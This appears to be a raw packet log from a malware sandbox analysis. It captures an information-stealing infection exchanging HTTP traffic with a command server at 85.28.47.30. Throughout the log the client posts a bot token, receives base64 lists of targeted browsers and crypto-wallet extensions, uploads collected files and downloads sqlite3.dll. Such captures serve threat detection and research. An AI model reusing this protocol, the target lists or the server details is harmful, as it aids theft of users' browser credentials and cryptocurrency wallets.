Jul 4, 2024 20:33:55.418591976 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"browsers------JJECAAEHCFIEBGCBGHIE--
Jul 4, 2024 20:33:55.603209972 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 4, 2024 20:33:55.603277922 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 4, 2024 20:33:55.604937077 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="message"plugins------KFCFBAAEHCFHJJKEHJKJ--
Jul 4, 2024 20:33:55.804127932 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 4, 2024 20:33:55.804145098 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 4, 2024 20:33:55.804157019 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 4, 2024 20:33:55.804167986 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 4, 2024 20:33:55.804179907 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 4, 2024 20:33:55.849754095 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKE Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="message"fplugins------CFBAKEHIEBKJJJJJKKKE--
Jul 4, 2024 20:33:56.035933971 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 4, 2024 20:33:56.372071981 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFH Host: 85.28.47.30 Content-Length: 6871 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 20:33:56.372148991 CEST	6871	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 4, 2024 20:33:57.217875957 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:33:57.573595047 CEST	90	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:33:57.756330013 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 4, 2024 20:33:57.756373882 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 4, 2024 20:33:57.756630898 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 4, 2024 20:33:57.756741047 CEST	672	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 4, 2024 20:33:57.757255077 CEST	1236	IN	Data Raw: a2 ec 61 75 ca 41 42 eb be 5b 5e 5f 5d c3 55 31 d2 85 c0 89 e5 74 14 0f b6 08 84 c9 74 09 02 91 e0 a2 ec 61 40 eb f0 88 d0 eb 02 31 c0 5d c3 55 89 e5 57 56 53 89 c6 83 ec 34 89 55 dc 8b 55 08 80 fa 01 75 16 8d 04 08 c7 45 cc 00 00 00 00 c7 45 ec Data Ascii: auAB[^_]U1tta@1]UWVS4UUuEEEM)9}<u19E]Eatu;ur,-uuE]<+ED;]rE;0u]]
Jul 4, 2024 20:33:59.001395941 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGI Host: 85.28.47.30 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 20:33:59.970098972 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:33:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:00.042895079 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 85.28.47.30 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 20:34:00.927941084 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:00.948599100 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 [TRUNCATED] Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file"------KJEGDBKFIJDAKFIDGHJE--
Jul 4, 2024 20:34:01.688225031 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:02.011529922 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 